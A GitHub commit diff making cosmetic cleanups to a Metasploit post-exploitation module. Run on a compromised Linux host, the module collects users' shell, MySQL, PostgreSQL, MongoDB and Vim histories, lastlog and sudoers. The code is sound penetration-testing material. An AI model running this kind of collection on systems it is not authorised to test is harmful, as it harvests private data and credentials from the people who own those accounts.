Skip to content

Commit 745bfb2

Browse files
committed
Clean things up
1 parent cc75c33 commit 745bfb2

File tree

1 file changed

+25
-26
lines changed

1 file changed

+25
-26
lines changed

modules/post/linux/gather/enum_users_history.rb

Lines changed: 25 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -13,21 +13,21 @@ class Metasploit3 < Msf::Post
1313

1414
def initialize(info = {})
1515
super(update_info(info,
16-
'Name' => 'Linux Gather User History',
17-
'Description' => %q{
18-
This module gathers user specific information.
19-
User shell history, MySQL history, PostgreSQL history,
20-
MongoDB history, vim history, lastlog and sudoers.
21-
},
22-
'License' => MSF_LICENSE,
23-
'Author' =>
24-
[
25-
# based largely on get_bash_history function by Stephen Haywood
26-
'ohdae <bindshell[at]live.com>'
27-
],
28-
'Platform' => ['linux'],
29-
'SessionTypes' => ['shell', 'meterpreter']
30-
))
16+
'Name' => 'Linux Gather User History',
17+
'Description' => %q{
18+
This module gathers the following user-specific information:
19+
shell history, MySQL history, PostgreSQL history, MongoDB history,
20+
Vim history, lastlog, and sudoers.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
# based largely on get_bash_history function by Stephen Haywood
26+
'ohdae <bindshell[at]live.com>'
27+
],
28+
'Platform' => ['linux'],
29+
'SessionTypes' => ['shell', 'meterpreter']
30+
))
3131
end
3232

3333
def run
@@ -42,7 +42,7 @@ def run
4242
users = [user] if user != 'root' || users.blank?
4343

4444
vprint_status("Retrieving history for #{users.length} users")
45-
shells = %w{ ash bash csh ksh sh tcsh zsh }
45+
shells = %w{ash bash csh ksh sh tcsh zsh}
4646
users.each do |u|
4747
home = get_home_dir(u)
4848
shells.each do |shell|
@@ -93,43 +93,42 @@ def get_home_dir(user)
9393
home = execute("echo ~#{user}")
9494
if home.empty?
9595
if user == 'root'
96-
return '/root'
96+
home = '/root'
9797
else
98-
return "/home/#{user}"
98+
home = "/home/#{user}"
9999
end
100100
end
101101
home
102102
end
103103

104104
def get_shell_history(user, home, shell)
105-
return if shell.nil?
106105
vprint_status("Extracting #{shell} history for #{user}")
107106
hist = cat_file("#{home}/.#{shell}_history")
108-
save("#{shell} History for #{user}", hist) unless hist.blank? || hist =~ /No such file or directory/
107+
save("#{shell} history for #{user}", hist) unless hist.blank? || hist =~ /No such file or directory/
109108
end
110109

111110
def get_mysql_history(user, home)
112111
vprint_status("Extracting MySQL history for #{user}")
113112
sql_hist = cat_file("#{home}/.mysql_history")
114-
save("MySQL History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
113+
save("MySQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
115114
end
116115

117116
def get_psql_history(user, home)
118117
vprint_status("Extracting PostgreSQL history for #{user}")
119118
sql_hist = cat_file("#{home}/.psql_history")
120-
save("PostgreSQL History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
119+
save("PostgreSQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
121120
end
122121

123122
def get_mongodb_history(user, home)
124123
vprint_status("Extracting MongoDB history for #{user}")
125124
sql_hist = cat_file("#{home}/.dbshell")
126-
save("MongoDB History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
125+
save("MongoDB history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
127126
end
128127

129128
def get_vim_history(user, home)
130-
vprint_status("Extracting VIM history for #{user}")
129+
vprint_status("Extracting Vim history for #{user}")
131130
vim_hist = cat_file("#{home}/.viminfo")
132-
save("VIM History for #{user}", vim_hist) unless vim_hist.blank? || vim_hist =~ /No such file or directory/
131+
save("Vim history for #{user}", vim_hist) unless vim_hist.blank? || vim_hist =~ /No such file or directory/
133132
end
134-
end
135133

134+
end

0 commit comments

Comments
 (0)